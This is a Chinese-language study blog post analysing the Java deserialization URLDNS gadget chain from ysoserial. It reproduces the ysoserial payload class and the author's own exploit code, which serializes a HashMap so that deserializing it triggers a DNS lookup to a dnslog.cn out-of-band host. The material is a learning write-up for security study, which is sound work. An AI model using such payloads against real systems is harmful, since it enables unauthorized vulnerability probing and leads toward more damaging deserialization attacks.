反序列化- URLDNS链
之前学过一遍Java反序列化漏洞,不过那次是从cc链入手的,当时也看了好久,各种调试才搞明白。这次从调用简单的URLDNS链开始从新捋一遍。
本文SDK为1.8 8u211
URLDNS
ysoserial中一个利用链,其触发的结果是一次DNS请求。可用于确认是否存在反序列化漏洞,因为整条链均用Java内置的类构造,对第三方库没有依赖。
先来看看ysoserial当中的实现代码
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//在payload创建过程中避免DNS解析
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();// 包含 URL 的 HashMap
URL u = new URL(null, url, handler);// 用作 Key 的 URL
ht.put(u, url);//URL作为键触发DNS查找
Reflections.setFieldValue(u, "hashCode", -1); // 在上面的 put 过程中,计算并缓存了 URL 的 hashCode。 这将重置,因此下次调用 hashCode 时将触发 DNS 查找。
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
//此 URLStreamHandler 实例用于在创建 URL 实例时避免任何 DNS 解析
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
调用链如下,只有四步相比cc链真的很简洁。
- HashMap.readObject()
- HashMap.putVal()
- HashMap.hash()
- URL.hashCode()
Java反序列化需要开发者参与逻辑定义,所以大量的库(包括Java内置库)都会去实现 readObject
方法,写入自己的逻辑,这个URL库也不例外。
先看看URL.hashCode是怎么发出dns请求的
跟入这个handler.hashCode
到了java.net.URLStreamHandler.hashCode
InetAddress.getByName(host)
的作用是根据主机名,获取其IP地址,即一次DNS查询。
现在回过头来,从HashMap.readObject()
开始分析
将 HashMap 的键名计算了了hash,跟入HashMap.hash()
最后是调用了key的hashCode()
方法,只要设置key为URL实例即可。
自己写一遍exp加深印象
package ser;
import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
String url = "http://3t7uq5.dnslog.cn/";
//在payload创建过程中避免DNS解析
//由于java.net.URL.handler 是瞬态(transient)的,它不会是序列化有效负载的一部分。
URLStreamHandler handler = new URLStreamHandler() {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
@Override
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
};
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
// 反射获取Field类的modifiers
Field hashCodeField = u.getClass().getDeclaredField("hashCode");
// 设置modifiers修改权限
hashCodeField.setAccessible(true);
hashCodeField.set(u, -1);
serialize(ht);
unserialize();
}
public static void serialize(final Object obj) throws IOException {
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream("test.ser"));
oo.writeObject(obj);
System.out.println("序列化成功!");
oo.close();
}
public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser"));
Object ob = ois.readObject();
System.out.println("反序列化成功!");
return ob;
}
}
参考
Java安全漫谈 - 08.反序列化篇(2)
https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
https://github.com/bfengj/CTF/blob/main/Web/java/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/%5BJava%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%5DURLDNS%E9%93%BE%E5%AD%A6%E4%B9%A0.md
/blob/main/Web/java/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/%5BJava%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%5DURLDNS%E9%93%BE%E5%AD%A6%E4%B9%A0.md